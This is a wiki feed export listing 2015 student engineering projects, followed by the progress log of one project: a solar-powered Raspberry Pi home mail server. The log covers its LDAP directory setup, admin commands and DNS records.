  &amp;lt;td&amp;gt; Alexandre Jouy / Julien hérin &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Rodolphe Astori / Xavier Redon / Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; [[Fichier:Pre_soutenance_PFE_Jouy_herin.pdf]] &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P9 Système d'hébergement domestique]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Romain Libaert / Timothée Teneur &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Xavier Redon / Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; [[Fichier:P9_LIBAERT_TENEUR_DEC15.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P10 LILLIAD: Connected Learning Center | P10 LILLIAD: learning center connecté]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Mageshwaran Sekar &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; [[Fichier:P10_FYP_December_Report_M_SEKAR.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P11 Spectateur augmenté]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Teresa Tumbragel &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P12 Capteurs enfouis pour vieillissement du béton]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; JULITA Alex &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P14 Localisation dans le corps humain]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Matthieu Marcadet &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P18 Meuble intelligent]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Kevin Colautti / Benjamin Lefort &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Rémy Bernard / Alexandre Boé / Xavier Redon / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; [[Fichier:P18_pre_soutenance.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[Automatic Soldering System Project|P20 Placeur de composants sur PCB]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Jean Wasilewski &amp;amp; Pierre Letousey &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Xavier Redon / Thomas Vantroys / Alexandre Boé &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; [[Fichier:P20_ASSP.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P24 Nuage pour sites Web]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Jeremie Denechaud / Thibaut Scholaert &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Xavier Redon / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; [[Fichier:P24_Denechaud_Scholaert.pdf| Rapport intermédiaire de projet]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P25 Architecture ROS pour des véhicules autonomes intelligents]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Jean-Michel Tournier / Cyril Smagghe &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Vincent Coelen et Rochdi Merzouki &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P26 Robot de forgeage et d’usinage]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Bertrand Yvernault / Louis Thebault &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Rochdi Merzouki &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P27 Robot de fraiseuse]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Flavien Royer / Maxime Morisse &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Rochdi Merzouki &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; [[Fichier:Rapport_P27_ProjetLequien.pdf‎ ]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P30 Thermostat connecté et intelligent]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; TISSOT Elise / TIRABY Céline &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Guillaume Renault / Alexandre Boé / Xavier Redon &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[Fichier:Rapport_PFE_TISSOT_TIRABY.pdf‎ ]] &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P32 Récupération d'énergie pour balise BLE]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Quentin Sultana &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Frédéric Giraud / Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P33 Réalisations en faveur de l'accessibilité de jeux vidéos]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Jérôme Bailet / Mehdi Zeggaï &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; GAPAS / Laurent Grisoni / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; [[Fichier:PFE_IMA5_Rapport_intermediaire_Bailet_Zeggai.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P35 Robot de test pour le sport de Golf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Deborah Saunders &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Rochdi Merzouki &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P34 Optimisation de trajectoire pour un robot de curiethérapie]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Sandra HAGE CHEHADE / Thomas DANEL &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Vincent COELEN / Rochdi MERZOUKI &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P40 Maquette mécatronique durcie d'ascenseur 5 étages]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Louis CHAUCHARD / Romain IMBERT &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Blaise CONRARD &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P13 Plateforme expérimentation IOT]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; ROCHE François &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[Fichier:PFE_P13_Plateforme_expérimentation_IOT.pdf]] &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;/div&gt;</summary>
		<author><name>Tteneur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P9_Syst%C3%A8me_d%27h%C3%A9bergement_domestique&amp;diff=24366</id>
		<title>P9 Système d'hébergement domestique</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P9_Syst%C3%A8me_d%27h%C3%A9bergement_domestique&amp;diff=24366"/>
				<updated>2015-12-12T15:13:24Z</updated>
		
		<summary type="html">&lt;p&gt;Tteneur : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Contexte====&lt;br /&gt;
&lt;br /&gt;
Les gens font confiance à des organismes comme google pour gérer leurs courriels, voire pour les protéger. Il n'est pas évident que leur confiance soit bien placée. Ce projet doit permettre à tout utilisateur de créer quelques comptes de messagerie sur une système embarqué de type raspberry et permettre de conserver les données à la maison.&lt;br /&gt;
&lt;br /&gt;
Le système doit être constitué à base de standards (base LDAP, serveur de messagerie connu et maintenu, client de messagerie idem). L'interface d'administration doit être elle aussi très simple d'utilisation. &lt;br /&gt;
&lt;br /&gt;
Un effort particulier doit être porté sur l'alimentation du système embarqué. L'idéal serait un mode de veille lorsqu'aucun paquet TCP/IP n'est adressé à la machine. Il est aussi demandé de mettre au point une alimentation à base d'énergie renouvelable (e.g. panneau solaire) permettant d'alimenter totalement ou partiellement le système. Enfin pour permettre de se passer de la box grande consommatrice d'énergie, le système embarqué doit pouvoir en reprendre les fonctionnalités principale (connexion avec le DSLAM, redirection des ports UDP/TCP, ...).&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
&lt;br /&gt;
L'objectif est de réaliser un système embarqué avec une alimentation autonome pour héberger une messagerie électronique domestique. Par domestique, il faut comprendre pour une dizaine de boites aux lettres. En outre, le système devra pouvoir être alimenté par un panneau solaire ou, le cas échéant, prendre relai sur le secteur lorsque l'alimentation fournie par le soleil n'est plus suffisante.&lt;br /&gt;
&lt;br /&gt;
====Description du projet====&lt;br /&gt;
====Choix techniques : matériel et logiciel====&lt;br /&gt;
Matériel obtenu à ce jour :&lt;br /&gt;
* 1 Raspberry Pi 2 [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenue le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Carte µSD 8 GB [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenue le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Cable USB/µUSB [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenu le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Câble RJ45 [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenu le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
&lt;br /&gt;
==Suivi de l'avancement du Projet==&lt;br /&gt;
===Semaine 1 (21/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Notre but étant la réalisation d'une messagerie électronique domestique capable de gérer une dizaine de boites aux lettres, nous nous orientons dans un premier temps sur les points suivants que nous allons éclaircir afin d'en tirer un cahier des charges.&lt;br /&gt;
&lt;br /&gt;
Nous allons étudier et approfondir les points suivants : &lt;br /&gt;
&lt;br /&gt;
* Installer une base LDAP, ou avoir plutôt avoir plusieurs comptes UNIX&lt;br /&gt;
* Installer un serveur de messagerie SMTP, et IMAP/POP&lt;br /&gt;
* Investiguer du côté de POSTFIX&lt;br /&gt;
* Étudier la taille d'un mail vide, et en moyenne, et voir combien ça fait par rapport au système&lt;br /&gt;
* Enquêter sur la forme des fichiers utilisateurs (généraliser les données)&lt;br /&gt;
&lt;br /&gt;
Ce qui doit pouvoir être fait :&lt;br /&gt;
* Distinction administrateur / utilisateur&lt;br /&gt;
* Un administrateur doit pouvoir gérer les comptes de messagerie (addition/suppression/etc)&lt;br /&gt;
* Gestion des quotas/espace disque réservé par ex&lt;br /&gt;
* Choix du quota (par qui ? options ?)&lt;br /&gt;
* SECURISER : apache, mod_security, étudier l'utilisation d'un pare-feu logiciel ?&lt;br /&gt;
&lt;br /&gt;
Prévision du Matériel :&lt;br /&gt;
* Raspberry Pi 2&lt;br /&gt;
* Alimentation RPi&lt;br /&gt;
* Carte SD (8Go)&lt;br /&gt;
&lt;br /&gt;
Le module énergétique sera équipé des éléments suivants :&lt;br /&gt;
* 1 MPPT&lt;br /&gt;
* Convertisseur Numérique Analogique : MAX5250&lt;br /&gt;
* Potentiomètre : MCP4261&lt;br /&gt;
* Relai : R561D.56 NTE&lt;br /&gt;
* Résistances : Deux de 100Ω et deux de 10kΩ&lt;br /&gt;
* une LED&lt;br /&gt;
* 40 pins broches mâle/mâle (Digikey Parts : A26509-40-ND), découpé par la suite en 8-8-6-4 &lt;br /&gt;
* Circuit d'alimentation autonome : cellule photovoltaique &lt;br /&gt;
* Circuit d'alimentation autonome : batterie (avec port micro-USB et port USB)&lt;br /&gt;
&lt;br /&gt;
===Semaine 2 (28/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps l'idée est de développer le système principal avec les fonctionnalités. Autrement dit les différents packages et fonctionnalités installées sur la raspberry ainsi que l'interface utilisateur sur le site web. Dans cette partie nous listerons les différentes fonctionnalités que nous aimerions implémenter.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Serveur SMTP (communications entre serveurs mails SMPT) et serveur IMAP/POP3 (postier)&lt;br /&gt;
*Postfix pour SMTP&lt;br /&gt;
*Dovecot, Courier ou Cyrus pour IMAP/POP3&lt;br /&gt;
*Implémentation de protocoles plus complexes et offrant notamment des fonctionnalités de chiffrement (SMTPS / ESMTP / SSL / HTTPS / Certificat)&lt;br /&gt;
*LMTP &lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Gestion particulière des gros mails et notamment de leurs pièces jointes&lt;br /&gt;
*Bigfile pour un stockage en ligne&lt;br /&gt;
*Décodage base 64 des pièces jointes ? (difficulté++)&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Gestion des utilisateurs&lt;br /&gt;
*Plusieurs comptes, en utilisant LDAP&lt;br /&gt;
*La possibilité de s'identifier en tant qu'administrateur&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Listes de diffusion&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Comptes mail temporaires (10 minutes mail like)&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Antivirus &amp;amp; Spam&lt;br /&gt;
*ClamAV ou SpamAssassin ou autres : lourd. &lt;br /&gt;
*iptables dans un premier temps.&lt;br /&gt;
*Antispam maison, gestion du contenu, marquage de spam par l'utilisateur, &amp;quot;boites intelligentes&amp;quot; de spams.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Les noms de domaines sont peut être nécessaires dès le départ pour tester le fonctionnement des fonctionnalités (telnet qui dit nope ?)&lt;br /&gt;
*Record A&lt;br /&gt;
*Record MX&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Sauvegarde automatique périodique de la Raspberry Pi (pendant le développement, pour éviter de perdre les données)&lt;br /&gt;
&lt;br /&gt;
Il faudra aussi prêter attention aux fonctionnalités disponibles sur l'interface et ne pas laisser des fonctionnalités fantômes issues d'un template générique que l'on a pu trouver sur l'Internet.&lt;br /&gt;
&lt;br /&gt;
===Semaine 3 (05/10/2015)===&lt;br /&gt;
Nous avons précisé les éléments constituants l'interface web :&lt;br /&gt;
* Gestion des comptes (création, modification, suppression d'utilisateurs...)&lt;br /&gt;
* Gestion des listes de diffusions&lt;br /&gt;
* Gestion des quotas&lt;br /&gt;
* Affichage du courrier&lt;br /&gt;
* Gestion de l'antivirus&lt;br /&gt;
&lt;br /&gt;
===Semaine 4 (12/10/2015)===&lt;br /&gt;
Nous avons mis en place un github pour suivre le développement : [https://github.com/biboon/pfe GitHub].&lt;br /&gt;
&lt;br /&gt;
Nous commençons à visualiser la structure de notre serveur mail. Dans un premier temps nous constituons notre base de données. Finalement nous utiliserons bien LDAP, qui semble relativement simple à utiliser contrairement à notre première impression.&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé [https://wiki.gandi.net/fr/hosting/using-linux/tutorials/debian/mail-server-ldap un tutoriel de Gandi] pour mettre en place la base de notre annuaire. Nous utiliserons les schemas disponibles dans le paquet courier-ldap. Nous avons écrit un script en perl permettant d'installer ce schema facilement, nous évitant d'avoir à réinstaller le paquet complet pour récupérer un unique fichier.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Il est important maintenant de changer les règles d'accès à la base de données. En effet la base de données est disponible pour n'importe qui, on peut y entrer avec la commande :&lt;br /&gt;
 ldapsearch -c -h localhost -b dc=domain,dc=tld -x&lt;br /&gt;
Nous avons ici aussi écrit un script permettant de le faire automatiquement. A ce stade il est nécessaire de s'identifier en tant qu'administrateur pour voir l'arbre :&lt;br /&gt;
 ldapsearch -c -h localhost -b dc=domain,dc=tld -D &amp;quot;cn=admin, dc=domain,dc=tld&amp;quot; -W&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peut dorénavant développer la structure de notre directory. Nous avons choisi de reprendre la base du tutoriel de Gandi et d'ajouter une entité mail qui regroupera tout les utilisateurs du serveur mail. Nous avons donc écrit un fichier &amp;lt;code&amp;gt;.ldif&amp;lt;/code&amp;gt; décrivant cette structure et l'avons ajoutée avec la commande :&lt;br /&gt;
 ldapadd -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -h localhost -f ldif/mail_tree.ldif&lt;br /&gt;
On peut vérifier que la structure a bien été ajoutée à notre arbre avec la commande :&lt;br /&gt;
 ldapsearch -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -h localhost -b &amp;quot;dc=domain,dc=tld&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut ajouter nos utilisateurs à la base de données. Ici il est d'autant plus intéressant d'automatiser cette manipulation. Le principe est d'écrire un fichier &amp;lt;code&amp;gt;.ldif&amp;lt;/code&amp;gt; et de l'ajouter de la même manière que précedemment avec &amp;lt;code&amp;gt;ldapadd&amp;lt;/code&amp;gt;. Nous nous sommes inspirés ici encore du tutoriel de Gandi tout en l'adaptant. Le script perl &amp;lt;code&amp;gt;add_user.pl&amp;lt;/code&amp;gt; simplifie grandement l'ajout d'un utilisateur. On pourra par la suite le modifier pour l'utiliser directement avec du code php.&lt;br /&gt;
On peut vérifier que l'utilisateur a bien été ajouté avec la commande habituelle &amp;lt;code&amp;gt;ldapsearch&amp;lt;/code&amp;gt; et même tester l'identification avec :&lt;br /&gt;
 ldapwhoami -vvv -h localhost -D &amp;quot;cn=username,dc=mail,dc=domain,dc=tld&amp;quot; -x -W&lt;br /&gt;
Si la commande renvoie &amp;lt;code&amp;gt;Result: Success (0)&amp;lt;/code&amp;gt; alors l'identification a fonctionné.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
La commande &amp;lt;code&amp;gt;ldapsearch&amp;lt;/code&amp;gt; permet aussi de filtrer les recherches dans la base. Par exemple, avec notre configuration on peut afficher les utilisateurs avec la commande :&lt;br /&gt;
 ldapsearch -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -b &amp;quot;dc=mail,dc=domain,dc=tld&amp;quot; &amp;quot;(&amp;amp;(objectClass=CourierMailAccount))&amp;quot;&lt;br /&gt;
On peut aussi indiquer quels champs à afficher en les indiquant à la fin de cette commande.&lt;br /&gt;
&lt;br /&gt;
===Semaine 5 (19/10/2015)===&lt;br /&gt;
==== DNS et SSL ====&lt;br /&gt;
Nous avons obtenu un nom de domaine auprès de Gandi pour notre projet. Le site est accessible à l'adresse : [https://intimail.pw intimail.pw]&lt;br /&gt;
&lt;br /&gt;
nous avons configuré un serveur DNS et la certification SSL sur notre raspberry pi. Pour la démarche je vous renvoie à notre [http://projets-ima.plil.net/mediawiki/index.php?title=PRA2015_-_Configuration_des_commutateurs#Semaine_4 wiki] de TP de Protocoles Réseaux Avancés. La méthode est identique.&lt;br /&gt;
&lt;br /&gt;
De la même manière que dans le TP de PRA, nous voulions implémenter DNSSEC. Cependant arrivé à la dernière étape, nous nous sommes rendu compte que Gandi ne propose pas cette fonctionnalité pour les .pw. Dans l'éventualité où les DNSSEC seraient implémentés au cours de notre projet, nous pourrons activer cette fonctionnalité rapidement.&lt;br /&gt;
&lt;br /&gt;
La différence réside dans le fait que pour un serveur mail il faut un enregistrement de type MX. Dans le fichier de configuration des enregistrements de bind, nous avons ajouté les lignes :&lt;br /&gt;
 @       IN      MX      10 mail.intimail.pw.&lt;br /&gt;
 mail    IN      A       193.48.57.171&lt;br /&gt;
&lt;br /&gt;
De plus, un serveur mail doit pouvoir faire les résolutions inverses. En effet certains serveurs mail sont configurés pour rejeter ou retarder la livraison de mails provenant de serveurs dont la résolution inverse n'est pas effectuée. L'enregistrement PTR devient alors :&lt;br /&gt;
 171     IN      PTR     mail.intimail.pw.&lt;br /&gt;
&lt;br /&gt;
A ce stade, le serveur DNS devrait être correctement configuré et le SSL fonctionnel.&lt;br /&gt;
&lt;br /&gt;
==== LDAP ====&lt;br /&gt;
Pour notre annuaire LDAP, nous avons utilisé les schémas proposés dans le package courier-ldap. Ces fichiers particuliers permettent à ldap de structurer sa base de données. Après différents essais et discussion, nous avons retenu la structure suivante :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-ldap_directory.PNG|600px|thumb|center|LDAP directory structure]]&lt;br /&gt;
&lt;br /&gt;
Nous avons regroupé la totalité de nos entrées sous une entité commune mail, celle ci se divisant ensuite en deux groupes people et groups. Le dc people regroupe les informations des utilisateurs, que l'on détaillera plus tard. Le dc groups permettra quant à lui regroupera les différentes listes de diffusion. Il contient aussi le groupe particulier des administrateurs qui permettra de donner des droits privilégiés à certains utilisateurs.&lt;br /&gt;
&lt;br /&gt;
Pour ce qui est des informations des utilisateurs, voici un exemple de fichier de configuration pour l'utilisateur Jean Valjean : &lt;br /&gt;
 dn: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw&lt;br /&gt;
 uid: jvaljean&lt;br /&gt;
 mail: jvaljean@intimail.pw&lt;br /&gt;
 sn: Valjean&lt;br /&gt;
 givenName: Jean&lt;br /&gt;
 displayName: Jean Valjean&lt;br /&gt;
 mailbox: intimail.pw/jvaljean/&lt;br /&gt;
 homeDirectory: /home/vmail/&lt;br /&gt;
 objectClass: top&lt;br /&gt;
 objectClass: inetOrgPerson&lt;br /&gt;
 objectClass: CourierMailAccount&lt;br /&gt;
 userPassword: {SSHA}gCbVPaSGUaqjrq0mTQY77sOH4Xcq59Fg&lt;br /&gt;
&lt;br /&gt;
Ces différentes informations ne sont pas définitives : certains champs peuvent peut être être retirés (comme le champ homeDirectory qui pour l'instant est commun et identique à tout les utilisateurs).&lt;br /&gt;
&lt;br /&gt;
==== Web ====&lt;br /&gt;
&lt;br /&gt;
